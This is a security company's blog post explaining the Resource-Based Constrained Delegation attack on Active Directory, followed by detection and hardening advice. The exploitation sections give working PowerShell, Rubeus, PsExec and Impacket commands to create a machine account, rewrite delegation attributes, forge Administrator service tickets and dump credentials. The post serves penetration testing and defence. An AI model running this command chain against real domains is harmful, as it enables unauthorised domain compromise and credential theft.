Resource-Based Constrained Delegation (RBCD) Attack

Active Directory delegation is one of the most misunderstood and abused mechanisms in enterprise environments. Among its variants, Resource-Based Constrained Delegation (RBCD) stands out as a particularly dangerous attack vector because it requires surprisingly low privileges to execute and can result in complete domain compromise. If your organization relies on Active Directory, understanding RBCD attacks is not optional; it is essential.

This blog breaks down how RBCD works, how attackers weaponize it, and what defenders must do to stay ahead.

What Is Kerberos Delegation and Why Does It Matter

Before diving into RBCD, you need to understand why delegation exists in the first place. In a typical enterprise setup, a user authenticates to a front-end service (like a web application), and that service needs to access a back-end resource (like a database) on behalf of that user. Kerberos delegation enables this impersonation flow.

There are three types of Kerberos delegation in Active Directory:

Unconstrained Delegation allows a service to impersonate any user to any service in the domain. This is highly dangerous and largely legacy.

Constrained Delegation (classical) restricts which services a front-end service can delegate to. It is configured on the delegating account using the msDS-AllowedToDelegateTo attribute.

Resource-Based Constrained Delegation (RBCD) flips the model entirely. Instead of the front-end service specifying where it can delegate, the back-end resource specifies who is allowed to delegate to it. This is controlled via the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target computer object.

This architectural shift introduced in Windows Server 2012 is what makes RBCD both powerful for legitimate use and dangerous in the hands of an attacker.

How the RBCD Attack Works

The RBCD attack allows an attacker to abuse the msDS-AllowedToActOnBehalfOfOtherIdentity attribute to gain a Service Ticket as any user, including Domain Admins, to a target machine. The prerequisites are relatively minimal, which is what makes this attack so impactful during a penetration test or real-world intrusion.

Prerequisites for a Successful RBCD Attack

To execute an RBCD attack, the attacker needs:

1. Write permissions on the target computer object in Active Directory (specifically GenericWrite, GenericAll, WriteProperty, or WriteDacl).
2. A controlled machine account or the ability to create one. By default, domain users can create up to 10 machine accounts (MachineAccountQuota = 10).
3. Network access to request Kerberos tickets and reach the target.

If these conditions are met, the attacker can fully compromise the target machine without needing elevated privileges beforehand.

Step-by-Step RBCD Exploitation with Commands

This section walks through a realistic RBCD attack chain using common red team tools. These techniques are used during authorized penetration tests to identify privilege escalation paths.

If your Active Directory environment has never been tested against RBCD abuse, you are likely exposed. Redfox Cybersecurity's penetration testing services include in-depth Active Directory assessments that identify and validate these exact attack paths before threat actors do.

Step 1: Enumerate Write Permissions on Computer Objects

Use PowerView to identify accounts with write access over computer objects:

Import-Module .\PowerView.ps1

# Find all computer objects where current user has GenericWrite or WriteDacl
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
   $_.ActiveDirectoryRights -match "GenericWrite|WriteDacl|GenericAll" -and
   $_.ObjectAceType -eq "00000000-0000-0000-0000-000000000000"
} | Select-Object ObjectDN, SecurityIdentifier, ActiveDirectoryRights


Alternatively, use BloodHound to visually map delegation paths and identify attack chains. Ingest data with SharpHound:

.\SharpHound.exe -c All --zipfilename bloodhound_output.zip


Load the ZIP into BloodHound and run the pre-built query: "Shortest Paths to Domain Admins" to surface RBCD-exploitable paths.

Step 2: Create a Fake Machine Account

If the attacker does not already control a machine account, they create one using the default domain quota:

# Using PowerMad
Import-Module .\Powermad.ps1

New-MachineAccount -MachineAccount "FakeMachine01" -Password $(ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force)


Verify creation:

Get-DomainComputer FakeMachine01 | Select-Object dnshostname, objectsid


Note the SID of FakeMachine01 for the next step.

Step 3: Modify the Target Computer's msDS-AllowedToActOnBehalfOfOtherIdentity Attribute

Now write the raw security descriptor to the target computer object, granting FakeMachine01 the right to delegate:

# Get the SID of your fake machine account
$FakeSID = Get-DomainComputer FakeMachine01 | Select-Object -ExpandProperty objectsid

# Build the security descriptor
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($FakeSID))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

# Write it to the target
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}


Confirm the write succeeded:

Get-DomainComputer TargetMachine -Properties 'msds-allowedtoactonbehalfofotheridentity'


Step 4: Request a Service Ticket via S4U2Proxy

With RBCD configured, use Rubeus to perform the S4U2Self and S4U2Proxy extension chain and obtain a service ticket as a high-privileged user (e.g., Administrator):

# Hash of FakeMachine01's password
.\Rubeus.exe hash /password:P@ssword123! /user:FakeMachine01$ /domain:corp.local

# Perform S4U attack to get a ticket for Administrator on TargetMachine
.\Rubeus.exe s4u /user:FakeMachine01$ /rc4:<NTLM_HASH> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.corp.local /domain:corp.local /ptt


The /ptt flag injects the ticket directly into the current session's memory.

Step 5: Access the Target Machine

With the ticket injected, you now have full access to the target as Domain Administrator:

# List the C$ share of the target
dir \\TargetMachine.corp.local\C$

# Remote code execution via PsExec
.\PsExec.exe \\TargetMachine.corp.local cmd.exe

# Or use secretsdump.py (from Impacket) to dump credentials
python3 secretsdump.py -k -no-pass corp.local/Administrator@TargetMachine.corp.local


At this point, the attacker has full control over the target machine and can move laterally or escalate to Domain Admin depending on the environment.

RBCD via Impacket for Linux-Based Red Team Operators

For operators working from a Linux attack box, the Impacket suite provides equivalent capabilities:

# Add a machine account
python3 addcomputer.py -computer-name 'FakeMachine01$' -computer-pass 'P@ssword123!' -dc-host dc01.corp.local 'corp.local/lowprivuser:Password1'

# Set RBCD attribute on the target
python3 rbcd.py -delegate-from 'FakeMachine01$' -delegate-to 'TargetMachine$' -action 'write' -dc-ip 192.168.1.10 'corp.local/lowprivuser:Password1'

# Perform S4U attack and get a CIFS ticket
python3 getST.py -spn cifs/TargetMachine.corp.local -impersonate Administrator -dc-ip 192.168.1.10 'corp.local/FakeMachine01$:P@ssword123!'

# Use the ticket
export KRB5CCNAME=Administrator.ccache
python3 smbclient.py -k -no-pass corp.local/Administrator@TargetMachine.corp.local


These commands give an end-to-end RBCD exploitation chain from a Linux host, which is common in real engagements.

Why RBCD Is So Dangerous in Enterprise Environments

The risk profile of RBCD is high because it targets trust relationships rather than software vulnerabilities. There is no CVE to patch. No software update will fix it. The attack abuses legitimate Active Directory features that are operating exactly as designed.

Key factors that elevate RBCD risk include:

Low privilege barrier. Attackers only need write access to a single computer object, which is commonly misconfigured due to delegation of helpdesk or IT admin functions.

No domain admin required to set up the attack. The attacker does not need Domain Admin or Account Operator privileges to create machine accounts or modify object attributes.

Machine account quota abuse. The default ms-DS-MachineAccountQuota of 10 allows any authenticated domain user to create machine accounts without any special permissions.

Difficult to detect without proper logging. Modifications to msDS-AllowedToActOnBehalfOfOtherIdentity are not alerted on by default. Without advanced monitoring in place, this attack can go completely unnoticed.

Exposing this kind of risk requires active simulation, not passive scanning. Redfox Cybersecurity's red team and penetration testing services simulate real-world adversaries, including RBCD and other Kerberos abuse techniques, to give organizations an accurate picture of their true attack surface.

Detecting RBCD Attacks in Your Environment

Defenders can surface RBCD abuse through a combination of event log monitoring and AD attribute auditing.

Windows Event IDs to Monitor

Event ID 4662 triggers when an object attribute is modified. Filter for modifications to msDS-AllowedToActOnBehalfOfOtherIdentity:

Event ID: 4662
Object Type: Computer
Property: {3f78c3e5-f79a-46bd-a0b8-9d18116ddc79} (msDS-AllowedToActOnBehalfOfOtherIdentity)


Event ID 4741 logs new computer account creation. A sudden spike in machine account creation from non-admin accounts warrants investigation.

Event IDs 4768 and 4769 log Kerberos TGT and service ticket requests. Look for S4U ticket requests where the Transited-Services field contains an unfamiliar machine account.

PowerShell Enumeration for Blue Teams

Defenders should periodically audit which computer objects have non-empty msDS-AllowedToActOnBehalfOfOtherIdentity attributes:

Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
Where-Object { $_.'msDS-AllowedToActOnBehalfOfOtherIdentity' -ne $null } |
Select-Object Name, 'msDS-AllowedToActOnBehalfOfOtherIdentity'


Any computer that shows a value here should be reviewed. In most environments, only purpose-built service accounts should appear, and any unknown entry is a red flag.

Hardening Active Directory Against RBCD Abuse

Preventive controls reduce the likelihood of RBCD being successfully abused in your environment.

Reduce MachineAccountQuota to Zero

Preventing regular domain users from creating machine accounts eliminates the most common way attackers source a fake machine account:

Set-ADDomain -Identity corp.local -Replace @{"ms-DS-MachineAccountQuota"="0"}


Only designated service accounts or privileged administrators should be permitted to create machine accounts.

Audit and Tighten ACLs on Computer Objects

Regularly review ACLs across all computer objects. Any account with GenericWrite, WriteDacl, or GenericAll over a computer object is a potential RBCD entry point:

Get-DomainObjectAcl -ResolveGUIDs -Identity "TargetMachine" |
Where-Object { $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl" } |
Select-Object SecurityIdentifier, ActiveDirectoryRights


Enable Advanced Audit Policies

Ensure Directory Service Changes auditing is enabled so that attribute modifications generate Event ID 4662:

auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable


Protect Privileged Accounts with Sensitive Flags

Mark high-value accounts such as Domain Admins with the "Account is sensitive and cannot be delegated" flag, which prevents them from being impersonated through any delegation mechanism:

Set-ADUser -Identity "Administrator" -AccountNotDelegated $true


RBCD in Context: Where It Fits in a Full Attack Chain

RBCD rarely exists in isolation during a real engagement. It typically appears as a privilege escalation step after an attacker has gained initial foothold via phishing, password spraying, or credential stuffing. From a low-privileged domain user account, the RBCD path can lead directly to full machine compromise, lateral movement, and ultimately domain domination.

Common RBCD attack chains seen in the wild:

Phishing to low-priv user account, then RBCD to escalate on a sensitive server.

LLMNR/NBT-NS poisoning to capture credentials, then RBCD against a helpdesk-managed computer object.

AS-REP Roasting to crack an account that has write permissions on a computer object, leading directly into RBCD.

Understanding how RBCD fits into the broader kill chain is what separates a checkbox penetration test from a genuine adversary simulation. Redfox Cybersecurity's advanced red team engagements chain together these exact techniques to show clients the full impact of a realistic breach scenario.

Final Thoughts

Resource-Based Constrained Delegation is not a niche edge case; it is a mainstream Active Directory attack path that shows up in penetration tests and real breaches across industries. Its power comes from abusing trusted Kerberos features with minimal prerequisites, making it accessible to any attacker who has gained even limited access to a domain environment.

Organizations that have not explicitly tested for RBCD vulnerabilities in their Active Directory infrastructure should treat this as an open risk. The defensive controls are available and effective, but they require intentional configuration and continuous monitoring.

The only way to know if your environment is vulnerable is to test it with the same techniques a real attacker would use.

Ready to find out if your Active Directory is exposed to RBCD and other advanced attack paths? Work with Redfox Cybersecurity's penetration testing team to get a thorough, adversary-realistic assessment of your environment. Identify the gaps before attackers do.